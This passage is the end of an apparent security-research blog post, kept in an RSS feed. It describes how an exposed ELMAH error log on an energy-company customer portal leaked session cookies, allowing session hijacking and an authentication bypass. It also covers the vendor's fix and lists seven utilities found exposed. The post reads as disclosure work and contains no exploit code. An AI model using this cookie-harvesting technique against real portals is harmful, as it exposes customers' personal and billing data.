&lt;p&gt;It was rather interesting that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elmah.axd&lt;/code&gt; was discovered at this specific endpoint as access was forbidden in several other directories. The most likely reason behind this could be that this specific subdirectory may be a virtual directory that has its own &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;web.config&lt;/code&gt; which was overriding the parent &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;web.config&lt;/code&gt; that refused remote access to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elmah.axd&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Session cookies found in the logs:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/eecp/sessioncookie.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There may also be cases where the stack trace may contain sensitive information like customer info as shown below:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/eecp/customer-redacted2.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With the ability to obtain the session cookies, an attacker is now able to leverage session hijacking resulting in an authentication bypass.&lt;/p&gt;

&lt;p&gt;Being able to access the portal as an authenticated user, an attacker can now:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Search &amp;amp; View Customer Information
&lt;img src=&quot;/images/posts/2020/eecp/customersearch.png&quot; alt=&quot;Screenshot&quot; /&gt;
&lt;img src=&quot;/images/posts/2020/eecp/customer-redacted.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Submit Invoices on behalf of Employees
&lt;img src=&quot;/images/posts/2020/eecp/invoices.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Access even a larger attack surface:
&lt;img src=&quot;/images/posts/2020/eecp/xss.png&quot; alt=&quot;Screenshot&quot; /&gt;
&lt;img src=&quot;/images/posts/2020/eecp/reporting.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;and much more…&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Due to lack of time and the urgency of the authentication bypass, the engagement was halted and testing was shelved for later.&lt;/p&gt;

&lt;h2 id=&quot;vendor-response&quot;&gt;Vendor Response&lt;/h2&gt;

&lt;p&gt;Once it was discovered that an unauthenticated attacker would have the ability to access vast amounts of customer information and especially due to the policies and procedures an energy company is required to follow, it was decided that the application will need to be taken offline immediately and a meeting with the vendor (DirectTechnology) was arranged.&lt;/p&gt;

&lt;p&gt;As the fix was minimal (adjusting the remote configuration settings of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elmah.axd&lt;/code&gt;), the vendor was able to fix the issue literally within minutes during the call. Furthermore, they’ve mentioned that they will implement additional tests to prevent this sort of low-hanging fruit from regressing in the future.&lt;/p&gt;

&lt;p&gt;The swift response from the vendor is greatly appreciated and deserves praise.&lt;/p&gt;

&lt;h2 id=&quot;affected-companies&quot;&gt;Affected Companies&lt;/h2&gt;

&lt;p&gt;Once the vulnerability was identified, it was decided next to discover whether any additional EECP instances were exposed to the internet. By employing a combination of passive techniques, it was found that there were several energy companies at risk.&lt;/p&gt;

&lt;p&gt;These companies include:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hoosierenergy.com/&quot;&gt;Hoosier Energy - Indiana&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tampaelectric.com/&quot;&gt;Tampa Electric - Florida&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.capelightcompact.org/&quot;&gt;Cape Light Compact - Massachusetts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mnpower.com/&quot;&gt;MN Power - Minnesota&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://socalgas.com/&quot;&gt;SoCal Gas - California&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sdge.com/&quot;&gt;San Diego Gas &amp;amp; Electric - California&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://austinenergy.com/&quot;&gt;Austin Energy - Texas&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;The goal behind this blog post was to discuss some of the challenges that large organizations face within appsec. Furthermore, some experimental solutions including a hybrid balance of automation and human effort while providing a real-world supporting example.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;
</description>
        <pubDate>Wed, 01 Sep 2021 00:00:00 +0000</pubDate>
        <link>/2021/09/01/7-peat-hacking-7-power-companies/</link>
        <guid isPermaLink="true">/2021/09/01/7-peat-hacking-7-power-companies/</guid>
        
        <category>ASP.NET</category>
        
        <category>Research</category>
        
        
      </item>
    
  </channel>
</rss>
